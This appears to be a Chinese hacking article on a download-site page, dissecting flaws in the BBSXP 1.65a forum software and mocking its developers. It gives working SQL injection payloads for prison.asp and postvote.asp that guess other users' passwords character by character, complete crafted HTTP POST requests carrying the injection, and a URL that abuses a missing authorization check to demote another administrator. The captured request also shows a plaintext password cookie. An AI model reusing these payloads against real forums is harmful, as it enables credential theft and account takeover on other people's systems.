⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 read it.txt

📁 2004--黑客防线-精华奉献本(攻册
💻 TXT
📖 第 1 页 / 共 2 页
字号:
BBSXP漏洞[倒着看三]作者:飞翔的背心
其实躺在床上看代码也是一件非常惬意的事情,特别是看那些写得很烂的东西时候,你总莫名其妙地产生一种居高临下的感觉。在过了一个痛苦不堪的暑假后,尤其是在生病后急需要调整心情的那段时间里,看BBSXP几乎成了我唯一的享受。 
  依然是BBSXP1.65a,依然是业余级别的代码和洞。 

  recycle.asp行16、17。这是一个要管理员或者社区区长才能利用漏洞,代码如下: 

for each ho in request.form("id") 
conn.execute("update [forum] set 
deltopic=0,lasttime=now,content=content&<|><br><br>[此帖子已 
被 "&Request.Cookies("username")&" 在 "&now&" 还原过]<|> where id="&ho&" 
and deltopic=1") 
next 

  对于MSSQL版(如果地球上存在的话)的来说,这个的利用难度是零。但是对于ACCESS版的要利用这个猜密码玩的话,难度是很大的,因为不好判断条件正确与否,姑且 
就把这个洞的利用放掉吧。 

  prison.asp行28同样是一个要管理员或者社区区长才能利用漏洞,代码是这样的: 

sql="select * from user where username=<|>"&Request("username")&"<|>" 

  我把这个洞称作愚蠢的,第一是因为幼稚的写法,第二是因为在这个尔虞我诈的社会,你永远不知道同样身为管理员的他是否会在背后捅你一刀,轻率地写那些只有管理员才有权访问的代码,同样会增加整个论坛的脆弱性。 
  一句老话,对于MSSQL版(如果地球上确实存在的话)的来说,这个的利用难度是零,而对于准备猜密码的人来说,难度就像是让中国跳水队在一米板上做301B。 
  进入prison.asp,用户名上面填写的就是我们要注入的东西,理由随便。比如我们来猜猜never的密码,当然,我自己是知道的密码的,这里只是假装不知道。 
  要填写的东西基本上就不用考虑,猜never的密码第一位最好的格式是这样: 

select * from user where username=<|>never<|> and right(left(userpass,1),1) 
=<|>x<|> 

  比较一下prison.asp第28行,简直就是量身定做,提交的用户名就这样就好了 

never<|> and right(left(userpass,1),1)=<|>x 

  never的密码第一位是1,我提交的不正确的话,比如提交的就是never<|> and right(left(userpass,1),1)=<|>2,那么BBSXP会傻乎乎的告诉我这个用户资料不存在,呵呵很显然,这个的查询结果是空,当然没有资料存在了。如果我猜的不是2而是1,回来的资料就不太一样,这里never是社区社长,不能被关进监狱,因为这个查询结果正好就是never,所以BBSXP告诉我们不能抓入监狱。当然,猜不同的人的密码情况可能不太一样,反正如果返回结果是用户资料不存在,你就是猜错了,否则你就猜对了。 
  同样的洞在同样的文件中有很多个拷贝,我就不一一列举了,下面再说一个搞笑的漏洞。 

  同样的文件,行71到89是这样的 

if Request("menu")="release" then 
sql="select * from user where username=<|>"&Request.Cookies("username")&"<|>" 
rs.Open sql,Conn 
if rs("membercode") < 4 then 
error("<li>您的权限不够,无法释放犯人!") 
end if 

if Request.Cookies("userpass")<>rs("userpass") then 
error("<li>您的密码错误") 
end if 

rs.close 
conn.execute("update [user] set membercode=1 where username=<|>"&Request 
("username")&"<|>") 
conn.execute("delete from [prison] where username=<|>"&Request("username") 
&"<|>") 

response.redirect "prison.asp" 
end if 

  我为什么要说怕别人在背后摆你一道呢,就是这里了。我要是管理员,我可以让任何人进监狱!这里没有检查要释放的人是不是在监狱里面,我要是弄了一个不是在监狱里面的人提交过去,马上就把他打为平民了,因为有这句话: 

conn.execute("update [user] set membercode=1 where username=<|>"&Request 
("username")&"<|>") 

  比如我是never,test是管理员,但是我很看不惯它这个小子。我登陆后在浏览器中输入 

http://localhost/bbsxp/prison.asp?menu=release&username=test 

  咔嚓,test变成平头老百姓了,然后我按照正常的手段就可以把他弄进监狱里面去。 
哦,可怜的test,他还不知道世道如此险恶。 

  总而言之,这个论坛是极其搞笑的,任何的自夸之语只能授人以笑柄。什么叫“一般你只要自己设置一下,不用升级我们的程序,你就可以永远排除这种漏洞”,我都不好意思读出来,就是这样的论坛,这样的代码,就是猴子听了都会脸红。后面一个漏洞充分的体现了编写者的思维混乱,我都不能说他们是外行,因为我身边的非计算机系DDMM们才大一大二,他们都有严谨的思维方式,而且写出来的代码简洁有力,我怕这样说会伤了DDMM们的心,他们才是真正的外行啊!BBSXP的人呢?你们算是什么呢? 


BBSXP漏洞[倒着看四]
这段时间上网遇到朋友,问起关于BBSXP漏洞的问题,我淡淡地说,生病了,没有看。他说,哦,最近到BBSXP看先生的漏洞文章都给删了,看来BBSXP对先生还是很深恶痛绝的,先生还是写点什么吧。我说,哦,那我就写点什么吧。 
  我在生病之余还看了一本叫《重构》的影印本书,虽然是讲的java的重构,但是确实对所有的语言都有启发的作用,对于BBSXP的代码形式,我不想多说,如果开发者有机会拜读一下这本书的话,想必可以学到些什么。代码写得不好看不是什么丢人的事情,但改善了后必定会让别人刮目相看。每次都会给BBSXP提些免费的建议,这次就废话这么多吧,身体不好,打字很费体力。 


  postvote.asp有一段代码是这样子的,非常扎眼 


sql="select * from forum where id="&Request("id")&"" 
rs.Open sql,Conn,1,3 


  有兴趣的朋友可以参看以前的文章来利用。或者看下面给出方法和分析: 


  利用这个漏洞首先要有一个投票的项目,这个投票的项目可以是自己发的一个贴子,我们要记录下这个贴字的id号,把鼠标移到标题上看浏览器的状态栏,或者直接点进去看浏览器的地址栏都可以得到id,比如我在自己机器上测试的是id为2。 
  用BBSXP漏洞[倒着看一]中的方法我们可以很容易的抓到标准的提交数据,我抓到的数据是这样的: 


POST /bbsxp/postvote.asp?id=2 HTTP/1.1 
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */* 
Referer: http://localhost/bbsxp/showtopic.asp?id=2&forumid=1&page=0 
Accept-Language: zh-cn 
Content-Type: application/x-www-form-urlencoded 
Accept-Encoding: gzip, deflate 
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) 
Host: localhost 
Content-Length: 20 
Connection: Keep-Alive 
Cache-Control: no-cache 
Cookie: eremite=0; now=2002%2D7%2D30+22%3A39%3A10; vote=1+and+1%3D1%7C1+or+1%3D1%7C1+and+1%3C%3E1%7C; onlinetime=2002%2D7%2D30+22%3A35%3A29; username=never; userpass=FuckUSA!!!; addmin=0; ASPSESSIONIDQGQGGVWO=DMFHIAEDKPJDFNNLIMBEAAIG 


forumid=1&postvote=0 


  利用的话,只需要修改一点点东西,就是POST后面的路径和文件。因为注入是发生在id上的,所以我们提交恶意的id就可以构造我们的查询条件了,比如我们猜test的密码第一位,是1,当然,我们先猜一个2看看,这时候我们提交的id的值应该是 


2 and 1=(select count(*) from user where username=<|>test<|> and right(left(userpass,1),1)=<|>1 


  将所有的空格全部用%20代替(为什么?不要问我),就成了下面的样子(NC到对方的web口): 


POST /bbsxp/postvote.asp?id=2%20and%201=(select%20count(*)%20from%20user%20where%20username=<|>test<|>%20and%20right(left(userpass,1),1)=<|>2<|>) HTTP/1.1 
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */* 
Referer: http://localhost/bbsxp/showtopic.asp?id=2&forumid=1&page=0 
Accept-Language: zh-cn 
Content-Type: application/x-www-form-urlencoded 
Accept-Encoding: gzip, deflate 
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) 
Host: localhost 
Content-Length: 20 
Connection: Keep-Alive 
Cache-Control: no-cache 
Cookie: eremite=0; now=2002%2D7%2D30+22%3A39%3A10; vote=1+and+1%3D1%7C1+or+1%3D1%7C1+and+1%3C%3E1%7C; onlinetime=2002%2D7%2D30+22%3A35%3A29; username=never; userpass=FuckUSA!!!; addmin=0; ASPSESSIONIDQGQGGVWO=DMFHIAEDKPJDFNNLIMBEAAIG 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -